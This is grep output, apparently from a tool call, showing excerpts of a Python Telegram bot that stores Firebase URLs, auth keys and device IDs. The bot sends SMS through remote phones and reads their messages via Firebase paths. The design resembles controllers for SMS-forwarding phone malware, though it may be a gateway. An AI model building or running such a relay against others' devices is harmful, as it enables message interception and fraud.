The command exited with code 0. Output: 278- data.setdefault("fcm_pin", "") 279- data.setdefault("saved_fcms", {}) 280- data.setdefault("active_fcm_name", "") 281- data.setdefault("saved_groups", {}) 282- data["group_id"] = normalize_peer_id_text(data.get("group_id", "")) 283- data["saved_groups"] = {str(k): normalize_peer_id_text(v) for k, v in dict(data.get("saved_groups", {}) or {}).items()} 284- data.setdefault("backup_firebase_name", "") 285- data.setdefault("backup_firebase_url", "") 286: data.setdefault("backup_firebase_auth", "") 287- data.setdefault("backup_device_id", "") 288- data.setdefault("backup_sim", "0") 289- data.setdefault("recent_fb_events", []) 290- return cls(**data) 291- -- 813- if not self.bot: 814- return 815- info = [] 816- info.append("🟢 **BRIDGE ACTIVE**" if ws.active else "šŸ”“ **BRIDGE INACTIVE**") 817- info.append(f"šŸ“± **Mode:** {ws.active_mode.upper()}") 818: if ws.active_mode == "firebase" and ws.firebase_auth: 819- info.append(f"šŸ” **Auth:** `Set`") 820- if ws.device_id: 821- info.append(f"šŸ“± **Device:** `{ws.device_id}`") 822- if ws.group_id: 823- gname = next((n for n, i in ws.saved_groups.items() if str(i) == str(ws.group_id)), None) -- 1241- 1242- if ws.state == "await_new_fb_auth": 1243- auth_key = text.strip() if text.strip() != "ā­ Skip" else "" 1244- ws.saved_firebases[ws.temp_name] = ws.firebase_url 1245- if auth_key: 1246: ws.saved_firebase_auths[ws.temp_name] = auth_key 1247: elif ws.temp_name in ws.saved_firebase_auths: 1248: del ws.saved_firebase_auths[ws.temp_name] 1249- ws.firebase_url = "" 1250- ws.state = None 1251- self.save_workspace(ws) 1252- asyncio.create_task(self._check_new_firebase(ws.saved_firebases[ws.temp_name], auth_key, user_id)) 1253- auth_info = f"\nšŸ” **Auth:** `{auth_key[:12]}...`" if auth_key else "" -- 1256- 1257- if ws.state == "await_select_fb": 1258- name = text.replace("šŸ”„ FB: ", "", 1) if text.startswith("šŸ”„ FB: ") else text 1259- if name in ws.saved_firebases: 1260- ws.firebase_url = ws.saved_firebases[name] 1261: ws.firebase_auth = ws.saved_firebase_auths.get(name, "") 1262- ws.active_fb_name = name 1263- ws.state = "await_fb_dev" 1264- ws.page = 1 1265- self.save_workspace(ws) 1266: auth_info = f"\nšŸ” **Auth:** `Set`" if ws.firebase_auth else "" 1267- await self.send(user_id, fmt_msg("Firebase Selected", f"šŸ”„ **Name:** `{name}`{auth_info}\nšŸ“± Now send **Device ID**.", success=True), keyboard=reply_kb(BACK_KB)) 1268- else: 1269- await self.send(user_id, fmt_msg("Invalid Selection", "Please choose a valid option.", error=True)) 1270- return True 1271- 1272- if ws.state == "await_del_fb": 1273- name = text.replace("šŸ—‘ FB: ", "", 1) if text.startswith("šŸ—‘ FB: ") else text 1274- if name in ws.saved_firebases: 1275- del ws.saved_firebases[name] 1276: ws.saved_firebase_auths.pop(name, None) 1277- if ws.active_fb_name == name: 1278: ws.firebase_auth = "" 1279- ws.state = None 1280- ws.page = 1 1281- self.save_workspace(ws) 1282- await self.send(user_id, fmt_msg("Firebase Deleted", f"šŸ”„ **Name:** `{name}`", success=True), keyboard=self._workspace_menu(ws)) 1283- else: -- 1459- 1460- if ws.state == "await_backup_fb_select": 1461- name = text.replace("šŸ”„ FB: ", "", 1) if text.startswith("šŸ”„ FB: ") else text 1462- if name in ws.saved_firebases: 1463- ws.backup_firebase_url = ws.saved_firebases[name] 1464: ws.backup_firebase_auth = ws.saved_firebase_auths.get(name, "") 1465- ws.backup_firebase_name = name 1466- ws.state = "await_backup_device_id" 1467- ws.page = 1 1468- self.save_workspace(ws) 1469- await self.send(user_id, fmt_msg("Backup FB Set", f"šŸ”„ **Backup:** `{name}`\n\nNow send the **Backup Device ID**.\n_Example: `DS0V09SO`_", success=True), keyboard=reply_kb(BACK_KB)) -- 1772- premium_emoji = "[✨](tg://emoji?id=5258500422393415126)" 1773- info = [f"怐 {premium_emoji} **SYSTEM STATUS** āš™ļø 怑"] 1774- info.append(f"{UI_SEP}") 1775- info.append(f"šŸ“” **State:** {'🟢 `ACTIVE`' if ws.active else 'šŸ”“ `INACTIVE`'}") 1776- info.append(f"šŸ›  **Mode:** `{ws.active_mode.upper()}`") 1777: if ws.active_mode == "firebase" and ws.firebase_auth: 1778- info.append(f"šŸ” **Auth:** `Set`") 1779- if ws.active_mode == "fcm" and ws.fcm_session_token: 1780- info.append(f"šŸ”‘ **FCM Token:** `{ws.fcm_session_token[:16]}...`") 1781- if ws.active_mode == "fcm" and ws.fcm_app_id: 1782- info.append(f"šŸ†” **App ID:** `{ws.fcm_app_id}`") -- 1829- return 1830- 1831- if text == "🚫 Clear Backup": 1832- ws.backup_firebase_name = "" 1833- ws.backup_firebase_url = "" 1834: ws.backup_firebase_auth = "" 1835- ws.backup_device_id = "" 1836- ws.backup_sim = "0" 1837- self.save_workspace(ws) 1838- await self.send(user_id, fmt_msg("Backup Cleared", "FB Backup config has been removed.", success=False), keyboard=self._workspace_menu(ws)) 1839- return -- 2295- 2296- try: 2297- if ws.active_mode == "firebase": 2298- fb = normalize_firebase_url(ws.firebase_url) 2299- url = f"{fb}/clients/{ws.device_id}/webhookEvent/sendSms.json" 2300: if ws.firebase_auth: 2301: url += f"?auth={ws.firebase_auth}" 2302- payload = {"from": int(ws.sim) + 1, "to": to_num, "message": body, "isSended": False} 2303- put_timeout = aiohttp.ClientTimeout(total=5, sock_connect=2) 2304- async with self.http.put(url, json=payload, timeout=put_timeout) as r: 2305- ok = r.status in (200, 201, 202, 204) 2306- elapsed = round(time.time() - start, 2) -- 2440- self.save_workspace(ws) 2441- await self.send(user_id, fmt_msg("Firebase Paused", "āš ļø **Firebase URL is invalid.** Setup paused automatically to prevent server errors.", error=True)) 2442- break 2443- 2444- url = f"{fb}/messages/{ws.device_id}.json" 2445: if ws.firebase_auth: 2446: url += f"?auth={ws.firebase_auth}" 2447- cutoff_ts = ws.last_processed_ts 2448- 2449- if not cutoff_ts: 2450- async with self.http.get(url, timeout=8) as seed: 2451- if seed.status == 200: -- 2585- if not self.http or not ws.backup_firebase_url or not ws.backup_device_id: 2586- return False 2587- try: 2588- fb = normalize_firebase_url(ws.backup_firebase_url) 2589- url = f"{fb}/clients/{ws.backup_device_id}/webhookEvent/sendSms.json" 2590: if ws.backup_firebase_auth: 2591: url += f"?auth={ws.backup_firebase_auth}" 2592- sl = "SIM 1" if ws.backup_sim == "0" else "SIM 2" 2593- start = time.time() 2594- payload = {"from": int(ws.backup_sim) + 1, "to": to_num, "message": body, "isSended": False} 2595- put_timeout = aiohttp.ClientTimeout(total=5, sock_connect=2) 2596- async with self.http.put(url, json=payload, timeout=put_timeout) as r: